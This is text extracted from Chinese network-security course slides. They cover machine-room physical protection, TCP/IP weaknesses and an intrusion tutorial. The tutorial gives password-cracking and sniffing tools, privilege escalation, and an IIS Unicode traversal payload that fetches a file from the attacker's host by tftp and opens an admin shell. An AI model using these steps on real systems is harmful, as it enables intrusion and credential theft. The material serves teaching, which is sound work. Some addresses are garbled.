燥而产生静电。（5）机房的防火与防水措施1.防火措施（1）建筑物防火。（2）安装火灾报警系统。（3）设置隔离带。（4）准备好灭火设施。（5）设置报警系统和紧急出口。（6）绝缘材料。（7）加强防火安全管理。2.防水措施（1）机房内或附近及楼上房间一般不应有用水设备。（2）机房的地面和墙壁使用防渗水和防潮材料处理。（3）对机房屋顶要进行防水处理，或对上一层建筑物的水源注意保护，防止积水渗入机房。（4）地板下面区域要有合适的排水设施。（5）地下室机房必须备有水泵或带有检验阀的排水管及水淹报警装置。（6）接地与防雷接地是指系统中各处电位均以大地为参考点，地为零电位。接地可以为计算机系统的数字电路提供一个稳定的低电位（0V），可以保证设备和人身的安全，同时也是避免电磁信息泄漏必不可少的措施。机器设备应有专用地线，机房本身有避雷设施，设备（包括通信设备和电源设备）有防雷击的技术设施，机房的内部防雷主要采取屏蔽、等电位连接、合理布线或防闪器、过电压保护等技术措施以及拦截、屏蔽、均压、分流、接地等方法，达到防雷的目的。机房的设备本身也应有避雷装置和设施。1.地线种类2.接地系统3.计算机的防雷保护

计算机的电磁干扰主要表现为电磁泄漏。计算机信息泄漏的途径主要有：主板上的CPU、ROM或RAM等因其电路的开关作用有瞬变量产生辐射信号、监视器（CRT）的视频信号、传输系统的有用信息电磁泄漏和计算机外部设备中有用信息的泄漏等。电磁防护的措施2目前主要防护措施有两类：一类是对传导发射的防护，主要采取对电源线和信号线加装性能良好的滤波器，减小传输阻抗和导线间的交叉耦合；另一类是对辐射的防护，，这类防护措施又可分为以下两种：一种是采用各种电磁屏蔽措施，第二种是干扰的防护措施为提高电子设备的抗干扰能力，除在芯片、部件上提高抗干扰能力外，主要的措施有屏蔽、隔离、滤波、吸波、接地等。其中屏蔽是应用最多的方法。电磁干扰和电磁兼容1电磁防护谢谢观看110第3章基础设施安全111CONTENTS目录物理安全Part1网络通信安全Part2网络安全设备Part3项目实训Part43.2.1网络通信安全-TCP/IP协议安全隐患TCP/IP协议簇是“事实上的标准”，具有较好的开放性，Internet是在TCP/IP协议簇的基础上构建的。协议安全隐患:（1）链路层

地址欺骗完整性保密性措施缺失（2）网络层

IP地址欺骗

源路由

Dos攻击

完整性保密性措施缺失（3）在传输层

TCP协议三次握手

UDP协议

假冒攻击和Dos攻击（4）应用层协议

身份认证方式

保密通信身份假冒抗抵赖3.2.1基于TCP/IP簇的安全协议3.2.1基于TCP/IP簇的安全协议（1）链路层安全协议点对点隧道协议（PointtoPointTunnelingProtocol，PPTP）第二层隧道协议（Layer2TunnelingProtocol，L2TP）（2）网络层安全协议IPSec协议AH（AuthenticationHeader，认证头协议）IPSec协议ESP（EncapsulatedSecurityPayload，封装安全载荷）（3）传输层安全协议安全套接层协议（SecureSocketsLayer，SSL）安全传输层协议（TransportLayerSecurity，TLS）（4）应用层安全协议安全多用途互联网邮件扩展（SecureMultipurposeInternetMailExtensions，S/MIME）良好隐私（PrettyGoodPrivacy，PGP）安全电子交易（SecureElectronicTransaction，SET）安全超文本传输协议（SecureHypertextTransferProtocol，S-HTTP）谢谢观看116第3章基础设施安全117CONTENTS目录网络攻击概述收集信息控制或破坏目标系统网络后门技术118日志清除技术物理安全Part1网络通信安全Part2网络安全设备Part3项目实训Part4TCP/IP协议安全威胁基于TCP/IP簇的安全协议网络入侵与防范3.2.3网络入侵与防范网络安全威胁物理威胁系统漏洞身份鉴别威胁线缆连接威胁有害程序偷窃废物搜寻

间谍行为身份识别错误不安全服务配置

初始化乘虚而入算法考虑不周随意口令口令破解口令圈套拨号进入冒名顶替窃听病毒特洛伊木马代码炸弹更新或下载3.2.3网络入侵与防范网络攻击的方法及步骤要成功攻击目标常有2种方法选择：1）使用成熟的工具如：X-scan、Sniffer等2）自己编写程序要求必须熟悉3方面知识：编程语言、操作系统和网络协议。3.2.3网络入侵与防范网络攻击的方法及步骤网络攻击一般归纳为以下5个步骤：1）隐藏IP2）收集信息3）控制或破坏目标系统4）种植后门5）在网络中隐身

收集信息知己知彼、百战不殆。入侵者在攻击目标之前会尽量多收集对方的信息，也会花费很多时间，收集信息、筛选、分析、再收集、再筛选、再分析是黑客最重要的工作。他们认为没有无用的信息。常见的信息收集方法有社交工程、DNS查询、搜索引擎搜索、扫描等。网络踩点、网络扫描、网络监听

收集信息知己知彼、百战不殆。入侵者在攻击目标之前会尽量多收集对方的信息，也会花费很多时间，收集信息、筛选、分析、再收集、再筛选、再分析是黑客最重要的工作。他们认为没有无用的信息。常见的信息收集方法有社交工程、DNS查询、搜索引擎搜索、扫描等。网络踩点、网络扫描、网络监听1网络踩点踩点就是通过各种途径对所要攻击的目标进行多方面的了解（包括任何可得到的蛛丝马迹，但要确保信息的准确）常见的踩点方法包括：在域名及其注册机构的查询公司性质的了解对主页进行分析邮件地址的搜集目标IP地址范围查询目的就是探察对方的各方面情况确定攻击的时机模清除对方最薄弱的环节和守卫最松散的时刻，为下一步的入侵提供良好的策略。思考：每一种方法可得到什么信息呢？收集信息2网络扫描扫描的目的就是利用各种工具对攻击目标的IP地址或地址段的主机查找漏洞。扫描可以分为两种策略:一种是主动式策略：基于网络的，它通过执行一些脚本文件模拟对系统进行攻击的行为并记录系统的反应，从而发现其中的漏洞;另一种是被动式策略：基于主机之上，对系统中不合适的设置，脆弱的口令以及其他同安全规则抵触的对象进行检查收集信息被动式策略扫描被动式策略是基于主机之上，对系统中不合适的设置，脆弱的口令以及其他同安全规则抵触的对象进行检查。被动式扫描不会对系统造成破坏，而主动式扫描对系统进行模拟攻击，可能会对系统造成破坏。下面以系统用户扫描、开放端口扫描、共享目录扫描为例子介绍被动式扫描。收集信息系统用户扫描使用工具软件：GetNTUser主要功能包括：扫描出NT主机上存在的用户名；自动猜测空密码和与用户名相同的密码；可以使用指定密码字典猜测密码；可以使用指定字符来穷举猜测密码收集信息对IP为09的计算机进行扫描，首先将该计算机添加到扫描列表中，选择菜单File下的菜单项“添加主机”，输入目标计算机的IP地址，如图所示。点击工具栏上的图标，得到的用户列表如图所示。收集信息利用该工具可以对计算机上用户进行密码破解，首先设置密码字典，设置完密码字典以后，将会用密码字典里的每一个密码对目标用户进行测试，如果用户的密码在密码字典中就可以得到该密码。一个典型的密码字典如图所示。收集信息选择菜单栏工具下的菜单项“设置”，设置密码字典为一个文本文件，如图所示。收集信息利用密码字典中的密码进行系统破解，选择菜单栏工具下的菜单项“字典测试”，程序将按照字典的设置进行逐一的匹配，如图所示收集信息开放端口扫描得到对方开放了哪些端口也是扫描的重要一步。使用工具软件PortScan可以到得到对方计算机都开放了哪些端口，主界面如图所示收集信息对09的计算机进行端口扫描，在Scan文本框中输入IP地址，点击按钮“START”，开始扫描如图所示收集信息共享目录扫描通过工具软件Shed来扫描对方主机，得到对方计算机提供了哪些目录共享。工具软件的主界面如图所示。收集信息该软件可以扫描一个IP地址段的共享信息，这里只扫描IP为09的目录共享情况。在起始IP框和终止IP框中都输入09，点击按钮“开始”就可以得到对方的共享目录了，如图所示。收集信息主动式策略扫描主动式策略是基于网络的，它通过执行一些脚本文件模拟对系统进行攻击的行为并记录系统的反应，从而发现其中的漏洞。漏洞扫描使用工具软件X-Scan-v2.3该软件的系统要求为：Windows9x/NT4/2000该软件采用多线程方式对指定IP地址段进行安全漏洞检测，支持插件功能提供了图形界面和命令行两种操作方式收集信息扫描内容包括：远程操作系统类型及版本标准端口状态及端口Banner信息SNMP信息，CGI漏洞，IIS漏洞，RPC漏洞，SSL漏洞SQL-SERVER、FTP-SERVER、SMTP-SERVER、POP3-SERVER、NT-SERVER弱口令用户，NT服务器NETBIOS信息注册表信息等扫描结果保存在/log/目录中，index_*.htm为扫描结果索引文件主界面如下图所示收集信息收集信息可以利用该软件对系统存在的一些漏洞进行扫描，选择菜单栏设置下的菜单项“扫描模块”，扫描模块的设置如图所示收集信息选中几个复选框，点击按钮“确定”。下面需要确定要扫描主机的IP地址或者IP地址段，选择菜单栏设置下的菜单项“扫描参数”，扫描一台主机，在指定IP范围框中输入：09-09，如图所示。

收集信息设置完毕后，进行漏洞扫描，点击工具栏上的图标“开始”，开始对目标主机进行扫描，如图所示收集信息

网络监听网络监听的目的是截获通信的内容，监听的手段是对协议进行分析。Snifferpro就是一个完善的网络监听工具。监听器Sniffer的原理：在局域网中与其他计算机进行数据交换的时候，发送的数据包发往所有的连在一起的主机，也就是广播，在报头中包含目标机的正确地址。因此只有与数据包中目标地址一致的那台主机才会接收数据包，其他的机器都会将包丢弃。但是，当主机工作在监听模式下时，无论接收到的数据包中目标地址是什么，主机都将其接收下来。然后对数据包进行分析，就得到了局域网中通信的数据。一台计算机可以监听同一网段所有的数据包，不能监听不同网段的计算机传输的信息。收集信息网络监听防止监听的手段是：建设交换网络、使用加密技术和使用一次性口令技术。除了非常著名的监听软件SnifferPro以外，还有一些常用的监听软件：嗅探经典－－Iris密码监听工具－－WinSniffer密码监听工具－－pswmonitor和非交换环境局域网的fssniffer等等SnifferPro是一款非常著名监听的工具，但是SnifferPro不能有效的提取有效的信息。收集信息监听工具-WinSnifferWinSniffer专门用来截取局域网内的密码，比如登录FTP，登录Email等的密码。主界面如图所示收集信息只要做简单的设置就可以进行密码抓取了，点击工具栏图标“Adapter”，设置网卡，这里设置为本机的物理网卡就可以，如图所示收集信息这样就可以抓取密码了，使用DOS命令行连接远程的FTP服务，如图所示收集信息打开WinSniffer，看到刚才的会话过程已经被记录下来了，显示了会话的一些基本信息，如图所示收集信息监听工具-pswmonitor

监听器pswmonitor用于监听基于WEB的邮箱密码、POP3收信密码和FTP登录密码等等，只需在一台电脑上运行，就可以监听局域网内任意一台电脑登录的用户名和密码，并将密码显示、保存，或发送到用户指定的邮箱，主界面如图所示。收集信息该工具软件功能比较强大，可以监听的一个网段所有的用户名和密码，而且还可以指定发送的邮箱，设置的界面如图所示。收集信息社会工程攻击口令攻击漏洞攻击欺骗攻击拒绝服务攻击3实施攻击社会工程攻击社会工程是使用计谋和假情报去获得密码和其他敏感信息的科学所谓“社会工程学攻击”，就是利用人们的心理特征，骗取用户的信任，获取机密信息、系统设置等等不公开资料，为黑客攻击和病毒感染创造有利条件。社会工程攻击社会工程学是一种利用人的弱点如人的本能反应、好奇心、信任、贪便宜等弱点进行诸如欺骗、伤害等危害手段，获取自身利益的手法。包括：1、打电话请求密码2、伪造Email3、免费下载软件中捆绑流氓软件、免费音乐中包含病毒、网络钓鱼、垃圾电子邮件中包括间谍软件4、安全设置技术陷阱和更改手机号码显示骗取钱财社会工程攻击－网络钓鱼攻击

网络钓鱼攻击指黑客使用欺诈邮件和虚假网页来诱骗收件人提供信用卡帐号、用户名、密码、社会福利号码等，随后利用骗得的帐号和密码窃取受骗者金钱的一种攻击方式。详见录像口令攻击

物理攻击暴力攻击其他方式物理攻击物理攻击是来自能够接触到物理设备的用户的攻击主要有两种攻击:获取管理员密码攻击提升权限攻击物理攻击获取管理员密码攻击条件:攻击者接触到物理设备,并且可以使用离开(计算机未锁定或者以自己的密码登录直接让其他人使用)实现:将FindPass.exe拷贝到C盘根目录，执行该程序,即可以得到管理员密码等信息原因:所有的用户信息都存储在系统的一个进程winlogon.exe中，可以利用使用FindPass等工具可以对该进程进行解码,将当前登录用户的密码解码出来(如下页图)物理攻击物理攻击提升权限攻击条件:拥有一个普通帐户(管理员给其他用户建立一个普通用户帐号，认为这样就安全了)实现:用普通用户帐号登录后，可以利用工具GetAdmin.exe将自己加到管理员组或者新建一个具有管理员权限的用户暴力攻击暴力攻击是指利用计算机的处理能力和一定的信息去直接的猜试密码的攻击方式.字典攻击是最常见的一种暴力攻击利用人的习惯思维，并尝试各种可能的组合来猜测密码强壮的密码可有效击败字典攻击，它应该由多位字母、数字、通配符组成暴力破解操作系统密码可以用工具软件GetNTUser暴力破解电子邮箱密码可以用工具软件：黑雨——POP3邮箱密码暴力破解器工具软件GetNTUser返回黑雨——POP3邮箱密码暴力破解器返回其他方式网络嗅探(sniffer)通过嗅探器在局域网内嗅探明文传输的口令字符串。键盘记录在目标系统中安装键盘记录后门，记录操作员输入的口令字符串，如很多间谍软件，木马等都可能会盗取你的口令。漏洞攻击Unicode漏洞缓冲区溢出漏洞打印漏洞Unicode漏洞何谓Unicode？国际标准组织于1984年4月成立ISO/IECJTC1/SC2/WG2工作组，针对各国文字、符号进行统一性编码1991年美国跨国公司成立UnicodeConsortium，并于1991年10月与WG2达成协议，采用同一编码字集Unicode于1992年6月通过DIS（DrafInternationalStandard），目前版本V2.0于1996公布，内容包含符号6811个，汉字20902个，韩文拼音11172个，造字区6400个，保留20249个，共计65534个Unicode漏洞Unicode漏洞是2000-10-17发布的，受影响的版本：MicrosoftIIS5.0+MicrosoftWindows2000系列版本MicrosoftIIS4.0+MicrosoftWindowsNT4.0微软IIS4.0和5.0都存在利用扩展UNICODE字符取代“/”和“\”而能利用“../”目录遍历的漏洞。在Windows的目录结构中，可以使用两个点和一个斜线“../”来访问上一级目录，例如:在浏览器中“scripts/../../winnt/system32”就访问到系统的系统目录了浏览器地址栏中禁用符号“../”，但是可以使用符号“/”的Unicode的编码。比如“/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir”中的“%c0%2f”就是“/”的Unicode编码Unicode漏洞利用Unicode漏洞进行的攻击读取出计算机上目录列表读取对方计算机上装了几个操作系统使用Unicode漏洞删除主页利用Unicode漏洞入侵系统读取出计算机上目录列表读取对方计算机上装了几个操作系统使用Unicode漏洞删除主页利用Unicode漏洞入侵系统

目标：利用Unicode可以入侵对方的系统，并得到管理员权限。在地址栏上执行命令，用户的权限比较低，像net等系统管理指令不能执行。攻击三个步骤：1、首先需要向对方服务器上传一些文件在本地建立tftp服务器，首先在本地计算机上搭建一个TFTP服务器，可以使用

tftpd32.exe建立服务器普通文件传输协议TFTP（TextFileTransmissionProtocol）一般用来传输单个文件。上传一个名为“idq.dll”的文件在浏览器中执行命令：09/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp+-i+10+get+idq.dll上传完毕后可以查看一下scripts目录，是否真的上传成功了2、接着使用工具软件ispc.exe入侵对方系统拷贝ispc.exe文件到本地计算机的C盘根目录，在DOS命令行下执行命令：“ispc.exe09/scripts/idq.dll”，连接成功后就直接进入了对方的DOS命令行下，而且具有管理员权限，入侵的过程所示3、可以在对方计算机上做管理员可以做的一切事情比如添加用户，建立一个用户名为“Hacker123”，密码也是“Hacker123”的用户，如图所示缓冲区溢出漏洞缓冲区溢出攻击是目前最流行的一种攻击技术。当目标操作系统收到了超过了它的最大能接收的信息量的时候，将发生缓冲区溢出。这些多余的数据将使程序的缓冲区溢出，然后覆盖了实际的程序数据，缓冲区溢出使目标系统的程序被修改，经过这种修改的结果使在系统上产生一个后门。这项攻击对技术要求比较高，但是攻击的过程却非常简单。缓冲区溢出原理很简单，比如程序：缓冲区溢出漏洞voidfunction(char*szPara1){ charbuff[16]; strcpy(buffer,szPara1);}程序中利用strcpy函数将szPara1中的内容拷贝到buff中，只要szPara1的长度大于16，就会造成缓冲区溢出。存在strcpy函数这样问题的C语言函数还有：strcat()、gets()、scanf()等。最常见的是通过制造缓冲区溢出使程序运行一个用户shell，利用该shell，可以进行相关操作shell?相对于内核来讲缓冲区溢出漏洞RPC溢出漏洞利用IIS溢出入侵系统WebDav远程溢出WebDAV

是一种行业标准，是HTTP规范的扩展“WebDAV”中的“DAV”代表分布式制作和版本控制“distributedauthoringandversioning”

WebDAV为授权用户提供了在Web服务器上远程添加和管理内容的功能RPC漏洞溢出远程过程调用RPC（RemoteProcedureCall)，是操作系统的一种消息传递功能，允许应用程序呼叫网络上的计算机。当系统启动的时候，自动加载RPC服务。可以在服务列表中看到系统的RPC服务，如图5-35所示。RPC漏洞溢出

利用RPC漏洞建立超级用户RPC溢出漏洞，对SP4也适用，必须打专用补丁。利用工具scanms.exe文件检测RPC漏洞，该工具是ISS安全公司2003年7月30日发布的，运行在命令行下用来检测指定IP地址范围内机器是否已经安装了“DCOMRPC接口远程缓冲区溢出漏洞（823980-MS03-026）”补丁程序。如果没有安装补丁程序，该IP地址就会显示出“[VULN]”。首先拷贝该文件到C盘根目录，现在要检查地址段09到10的主机，执行命令“scanms.exe09-10”，检查过程如图5-36所示。RPC漏洞溢出

检查缓冲区溢出漏洞RPC漏洞溢出

利